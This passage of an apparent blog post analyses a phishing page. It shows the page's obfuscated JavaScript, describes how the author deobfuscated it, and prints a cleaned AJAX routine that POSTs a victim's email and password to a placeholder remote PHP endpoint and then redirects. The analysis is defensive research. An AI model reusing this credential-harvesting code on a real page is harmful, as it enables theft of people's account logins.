class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x13e87b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#msg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x13e87b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x13e87b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x24c4e8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x24c4e8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)][&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x29a29f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f4aee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[];}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{}}},&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x1a0b9a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1a0b9a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x24c4e8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x24c4e8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1a0b9a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1a0b9a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f4aee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#msg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1a0b9a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1a0b9a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1a0b9a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));},&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;complete&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x5cb88e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x5cb88e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x5cb88e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));}});});}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Yes, you guessed it, it’s obfuscated&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Let’s find out what it does.&lt;/p&gt;

&lt;h2 id=&quot;unpacking&quot;&gt;Unpacking&lt;/h2&gt;

&lt;p&gt;The first approach for deobfuscating JS for me is to use &lt;a href=&quot;http://jsnice.org/&quot;&gt;JSNice&lt;/a&gt;, an amazing tool by the &lt;a href=&quot;http://www.sri.inf.ethz.ch/&quot;&gt;Secure, Reliable, and Intelligent Systems Lab, Computer Science Department of the ETH Zurich&lt;/a&gt;. Taking the previous code and entering it into the tool gives us a more readable first version of the snippet.&lt;/p&gt;

&lt;p&gt;However, some parts, such as the string array, still remained. After searching for some time I found out &lt;a href=&quot;https://github.com/relative/synchrony&quot;&gt;synchrony by relative&lt;/a&gt;, a pretty neat javascript cleaner &amp;amp; deobfuscator, primarily target for &lt;a href=&quot;https://github.com/javascript-obfuscator/javascript-obfuscator&quot;&gt;javascript-obfuscator&lt;/a&gt; tool.&lt;/p&gt;

&lt;p&gt;The several outputs of the different tools can be seen in &lt;a href=&quot;https://gist.github.com/jpdias/6d200c746f335ff86b5c809795e5af47#file-js-nice-output-js&quot;&gt;JSnice&lt;/a&gt; and &lt;a href=&quot;https://gist.github.com/jpdias/6d200c746f335ff86b5c809795e5af47#file-synchrony-output-js&quot;&gt;synchrony&lt;/a&gt;. And, after some final, manual, adjustment, the readable result can be found on &lt;a href=&quot;https://gist.github.com/jpdias/6d200c746f335ff86b5c809795e5af47#file-manual-adjustment-js&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Why the use of jQuery in 2022?…&lt;/p&gt;

&lt;h2 id=&quot;following-the-trail&quot;&gt;Following the Trail&lt;/h2&gt;

&lt;p&gt;Moving on, the logic of the code/page is pretty straightforward:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The webpage is rendered;&lt;/li&gt;
  &lt;li&gt;The username field is pre-filled with the target email account (the same that received the email);&lt;/li&gt;
  &lt;li&gt;When entering input in the password field, an error of bad password is given &lt;em&gt;Your account or password is incorrect. If you don’t remember your password, reset it now.&lt;/em&gt;
    &lt;ul&gt;
      &lt;li&gt;Clicking &lt;em&gt;reset it now&lt;/em&gt; redirect us to the same page.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;When entering a second input, the js redirects us to the email address domain.&lt;/li&gt;
  &lt;li&gt;Under the hood, a JSON object is created and sent to a remote server.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Looking more carefully at the js, we can see the remains of several features that weren’t used for this concrete attack. One example of such is the use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://logo.clearbit.com/&amp;lt;company_name&amp;gt;&lt;/code&gt;, a simple API that returns the logo of a company passed as a parameter.&lt;/p&gt;

&lt;p&gt;The request code is also a simple AJAX request:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ajax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;dataType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://example.com/dwsync/def.php&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;ai&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;email_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;pr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;beforeSend&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#submit-btn&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Verifing...&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#msg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#submit-btn&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Sign in&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;signal&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#pr&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;attempt_counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                        &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;attempt_counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
                        &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://www.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;company_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
                        &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#pr&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;attempt_counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;attempt_counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; 
                &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://www.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;company_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; 
                &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#msg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
